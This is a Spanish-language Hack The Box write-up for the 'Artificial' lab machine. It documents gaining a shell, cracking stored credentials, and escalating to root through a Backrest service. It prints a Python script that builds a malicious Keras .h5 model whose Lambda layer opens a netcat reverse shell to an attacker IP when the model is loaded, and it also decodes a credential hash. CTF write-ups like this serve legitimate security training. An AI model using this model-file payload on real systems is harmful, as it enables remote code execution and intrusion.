Artificial HTB Write Up¶

IP Machine: 10.10.11.74
Acceso Inicial¶
Esta es una máquina realmente fácil, así que avancemos y vayamos al sitio web:
Y registrémonos.

Una vez hecho eso, iniciemos sesión y aquí tenemos una funcionalidad de carga de archivos.
![![[Pasted image 20250621225415.png]]](../ImagesArtificial/Pasted%20image%2020250621225415.png)
Creating a Malicious TensorFlow Model¶
Para obtener una shell, creé este script en python3 y lo ejecuté.
import tensorflow as tf
import os
def exploit(x):
import os
os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.XX.XX 4444 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Subamos entonces ese exploit.h5.
![![[Pasted image 20250621225837.png]]](../ImagesArtificial/Pasted%20image%2020250621225837.png)
Una vez subido, hagamos clic en "view predictions" (ver predicciones) y esto activará la reverse shell.
![![[Pasted image 20250621225926.png]]](../ImagesArtificial/Pasted%20image%2020250621225926.png)
Y se activó.
![![[Pasted image 20250621230018.png]]](../ImagesArtificial/Pasted%20image%2020250621230018.png)
Descarga e Inspección de la Base de Datos¶
Para la flag de usuario, vayamos a esa ruta.
![![[Pasted image 20250621230141.png]]](../ImagesArtificial/Pasted%20image%2020250621230141.png)
Y nos la descargaremos.
![![[Pasted image 20250621231109.png]]](../ImagesArtificial/Pasted%20image%2020250621231109.png)
Una vez descargada, usemos sqlite3.
![![[Pasted image 20250621231136.png]]](../ImagesArtificial/Pasted%20image%2020250621231136.png)
Descifremos la contraseña de gael. Y obtenemos esto:
SSH Access as User¶
Iniciemos sesión mediante ssh.
Descubrimiento del Servicio Backrest y Análisis del Archivo de Respaldo¶
Si investigamos más en la máquina, podemos encontrar que hay un servicio en ejecución, backrest. Si vamos a los backups (respaldos).
![![[Pasted image 20250621232542.png]]](../ImagesArtificial/Pasted%20image%2020250621232542.png)
Podemos ver el respaldo de backrest, así que lo descargué y luego fui a.
![![[Pasted image 20250621232601.png]]](../ImagesArtificial/Pasted%20image%2020250621232601.png)
Aquí tenemos el hash bcrypt en base64 del servicio en ejecución, así que descifrémoslo.
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d | tee roothash
Así que descifrémoslo y tenemos ese valor.
![![[Pasted image 20250621232807.png]]](../ImagesArtificial/Pasted%20image%2020250621232807.png)
También tenemos el usuario, así que probemos si son válidos.
Configuración de Chisel para Port Forwarding¶
Para ello necesitamos subir chisel
Ejecutémoslo con estos parámetros
Tu Kali
En el servidor
Acceso a la Interfaz Web de Backrest¶
Vayamos a localhost:9898 en nuestra máquina e iniciemos sesión con las credenciales que encontramos.
Explotación de Backrest y Obtención de Root¶
Una vez allí, agreguemos un repositorio.
![![[Pasted image 20250621233022.png]]](../ImagesArtificial/Pasted%20image%2020250621233022.png)
Así que agreguemos un repositorio y pongamos solo esto.
![![[Pasted image 20250621233147.png]]](../ImagesArtificial/Pasted%20image%2020250621233147.png)
Una vez hecho, enviemos (submit), y obtenemos root.
![![[Pasted image 20250621233252.png]]](../ImagesArtificial/Pasted%20image%2020250621233252.png)
Autor: Astro